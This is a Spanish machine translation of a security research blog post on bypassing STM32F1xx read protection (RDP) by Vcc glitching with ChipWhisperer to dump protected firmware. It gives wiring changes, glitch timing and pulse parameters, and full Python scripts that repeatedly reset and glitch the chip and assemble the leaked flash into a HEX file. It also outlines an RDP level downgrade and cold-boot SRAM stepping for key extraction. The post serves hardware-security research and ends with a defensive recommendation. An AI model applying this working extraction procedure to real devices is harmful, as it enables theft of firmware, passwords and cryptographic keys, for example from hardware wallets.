Lea el firmware seguro del flash STM32F1xx usando ChipWhisperer


En el artículo anterior , tratamos los ataques de falla Vcc usando ChipWhisperer. Nuestro objetivo adicional fue un estudio por fases del proceso de lectura de microcontroladores de firmware protegidos. Usando tales ataques, un atacante puede obtener acceso a todas las contraseñas de dispositivos y algoritmos de software. Un ejemplo vívido es el pirateo de la billetera criptográfica de hardware Ledger Nano S con la placa MK STM32F042 usando ataques de falla Vcc.


Interesante? Miremos debajo del gato.


Aprendimos sobre la posibilidad de leer el firmware protegido de un artículo que muestra los resultados de un ataque de falla de Vcc, evitando el byte de protección RDP a través de un gestor de arranque para varios microcontroladores (en adelante, MK). También recomendamos leer el artículo sobre cómo romper el ESP32.


La base teórica del estudio fue la guía para leer con éxito el firmware protegido para LPC1114 a través de un gestor de arranque enmascarado que utiliza ChipWhisperer.


Como en el primer artículo, decidimos realizar experimentos en la placa MK STM32F103RBT6:



Junta STM32F103RBT6


La capacidad de escribir datos en los sectores de memoria flash y RAM o leerlos, así como realizar otras acciones con la memoria MK está determinada por el valor del byte de protección (para STM32 - RDP). Para diferentes MK, los valores y el propósito de los bytes de protección, así como el algoritmo para verificarlos, son diferentes.


Configuración de hardware


Comencemos el experimento. Primero debe conectar ChipWhisperer a MK de acuerdo con la figura:



Diagrama de conexión de ChipWhisperer a STM32 para leer firmware protegido a través de un cargador de máscaras


Los elementos que se deben quitar de la placa STM32F103RBT6 se tachan en el diagrama (en contraste con la conexión MK estándar). Las flechas indican los puntos de conexión de ChipWhisperer, y las firmas indican sus pines.


La presencia de cuarzo externo, que se muestra en el diagrama, no es necesaria, porque cuando se trabaja con un cargador de máscaras, el MK STM32F103RBT6 usa un RELOJ interno con una frecuencia de 24 MHz, por lo que no hay sincronización entre ChipWhisperer y MK.


Pasemos a configurar ChipWhisperer. Como se señaló anteriormente, la frecuencia recomendada de ChipWhisperer es de 24 MHz (u otro múltiplo). Cuanto mayor sea la multiplicidad de esta frecuencia, más exactamente podrá ajustar el momento del ataque. Debido a la falta de sincronización, la selección del parámetro scope.glitch.offset es opcional; se le puede asignar cualquier valor.


Los parámetros scope.glitch.repeat y scope.glitch.width deben seleccionarse según la frecuencia establecida de ChipWhisperer. Con un valor de frecuencia grande, todos los pulsos a corto plazo, cuyo número se establece usando scope.glitch.repeat, se fusionan en un pulso largo. Por lo tanto, puede seleccionar el valor del parámetro scope.glitch.width y scope.glitch.repeat fix, o viceversa. Encontramos que la duración óptima del pulso debe ser de aproximadamente 80 ns (definida como el ancho del pulso a la mitad del máximo).


Queda por seleccionar el valor del parámetro scope.glitch.ext_offset.


Selección scope.glitch.ext_offset


Primero debes elegir el momento del ataque. Según el esquema presentado en el documento de la empresa STM, el valor del byte de protección se verifica después de recibir una solicitud para leer datos del sector flash:



El algoritmo para responder a una solicitud de lectura de datos del sector flash


Para verificar la validez de dicho esquema de verificación, leemos el código ejecutable del cargador de arranque de un MK similar sin protección RDP a través de ST-Link. Las siguientes figuras muestran partes del algoritmo de procesamiento del comando Leer memoria .



Vista general del procesamiento de un comando de lectura de memoria (la llamada a la función de verificación RDP y el envío de NACK en caso de una verificación fallida son claramente visibles)



Cuerpo de la función de validación de RDP


Prestemos atención al cuerpo de la función de verificación RDP: se puede ver que el registro se lee a 0x40022000 + 0x1C , un cambio lógico de 30 bits y ramificación. De la documentación del manual de programación PM0075 (microcontroladores de memoria flash STM32F10xxx) , queda claro que 0x40022000 es la dirección base del controlador de memoria flash, y 0x1C es el desplazamiento del registro FLASH_OBR , en el que estamos interesados ​​en el segundo bit RDPRT : Protección contra lectura, que contiene el estado de protección RDP.


El momento necesario del ataque es el desarrollo de la instrucción LDR (carga desde la memoria). Esta instrucción se encuentra entre la solicitud para leer el firmware (enviando un byte 0x11 con una 0xEE ) y la respuesta ACK / NOACK MK de UART. Para arreglar visualmente este momento, es necesario conectar el osciloscopio a UART1_RX (pin PA10) y UART1_TX (pin PA9), y luego monitorear el cambio de voltaje de acuerdo con UART1. Como resultado, la forma de onda de ataque de potencia con el valor de scope.glitch.ext_offset seleccionado debería verse así:



Elegir el momento del ataque


Script de lectura de firmware


Ahora debe especificar el momento del disparador CW_TRIG en el código Python para interceptar el momento de transmitir la suma de verificación a través de UART1_RX. ChipWhisperer tiene una biblioteca para comunicarse con el cargador de máscaras STM32 MK. En modo normal, esta biblioteca se utiliza para descargar firmware de los manuales al MK utilizando la clase de class STM32FSerial(object) ubicada en el archivo programmer_stm32fserial.py largo de la ruta software/chipwhisperer/hardware/naeusb/ . Para activar el desencadenador, debe copiar esta clase en el script ejecutable principal para que el método de clase CmdGeneric(self, cmd) sea ​​accesible globalmente, y agregar el scope.arm() antes de enviar la suma de comprobación (0xEE) de la solicitud para leer el sector de memoria. La clase final se da en el spoiler a continuación.


Clase para comunicar ChipWhisperer con STM32
 import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None 

Cabe señalar que el cargador de máscara STM32F1xx le permite leer no más de 256 bytes de firmware de un sector flash especificado en una sola solicitud. Por lo tanto, cuando se lee todo el firmware del MK, es necesario realizar varias solicitudes de lectura durante el ataque Vcc-glitch. Luego, los 256 bytes recibidos deberían dividirse en ocho matrices de 32 bytes y formar un archivo HEX a partir de ellos.


Código convertidor HEX y funciones auxiliares
 def int2str_0xFF(int_number, number_of_bytes): return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step']) 

La configuración de ChipWhisperer ahora está completa. El guión final para leer el firmware es el siguiente:


 # string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory) 

Todos comentaron los mensajes print() después de la línea, except Exception as ayudan a monitorear el estado del MC al buscar los parámetros óptimos para el pulso de falla. Para rastrear el estado específico de MK, es suficiente descomentar el mensaje print() necesario.


Resultados de lectura


El video muestra la descarga del firmware al MK a través del programador ST-LINK, transfiriendo RDP al estado de protección y luego leyendo el firmware:



Los siguientes errores pueden prevenir ataques exitosos de falla Vcc:


• leer el sector incorrecto de la memoria;


• eliminación espontánea de firmware.


La selección precisa del momento del ataque al aumentar la frecuencia de ChipWhisperer ayudará a evitar tales errores.


Después de desarrollar y depurar el algoritmo para leer el firmware protegido, realizamos una lectura de prueba del firmware del programador ST-LINK-V2.1, que funciona en el STM32F103CBT6 MK. Unos pocos firmware, cosimos un MK STM32F103CBT6 "limpio" y lo instalamos en lugar del de fábrica. Como resultado, ST-LINK-V2.1 con el MK reemplazado funcionó en modo normal, como si no hubiera sustitución.


También intentamos realizar una serie de ataques contra STM32F303RCT7. Este MK durante el ataque se comportó de manera idéntica a STM32F103RBT6, pero la respuesta a la solicitud de memoria de lectura contenía un byte igual a 0x00, que no coincidía con el resultado que esperábamos. La razón de este fracaso fue un principio más complejo y desarrollado de organizar la protección de estos MK.


Hay dos estados de protección en el STM32F1xx MK: la protección está desactivada (Nivel 0) y activada (Nivel 1). En modelos anteriores, hay tres estados de protección: la protección está deshabilitada (Nivel 0, RDP = 0x55AA), protección de memoria flash y SRAM (Nivel 2, RDP = 0x33CC) y protección de memoria flash solamente (Nivel 1, RDP toma cualquier valor que no sea de 0x55AA y 0x33CC). Dado que el Nivel 1 puede tomar muchos valores RDP, establecer el Nivel 0 es bastante difícil. Por otro lado, es posible reducir el nivel de protección del Nivel 2 al Nivel 1 al derribar un bit en el byte RDP (que se muestra en la figura a continuación), lo que permite el acceso a la memoria SRAM.



Comparación de valores RDP para diferentes niveles de protección de firmware


Solo queda entender cómo un atacante puede aprovechar esto. Por ejemplo, usando el método CBS (Cold-Boot Stepping) descrito en este artículo . Este método se basa en una instantánea escalonada del estado de la memoria SRAM (la frecuencia de cada instantánea estaba en el microsegundo) después de cargar el MC para obtener claves de cifrado, contraseñas ocultas o cualquier otra información valiosa. Los autores sugieren que el método CBS funcionará en todas las series STM32 MK.


Conclusiones


Para resumir nuestros experimentos. Nos llevó varios días completar un ataque de falla de Vcc utilizando los datos obtenidos de un estudio anterior (que se puede leer aquí ). Entonces, aprender a llevar a cabo tales ataques es bastante fácil.


Los ataques de falla de Vcc son peligrosos porque son difíciles de defender. Para reducir la probabilidad de realizar con éxito tales ataques, se propone utilizar MK con un mayor nivel de protección.



Raccoon Security es un equipo especial de expertos de STC Vulcan en el campo de la seguridad práctica de la información, criptografía, circuitos, ingeniería inversa y desarrollo de software de bajo nivel.


Source: https://habr.com/ru/post/483732/


All Articles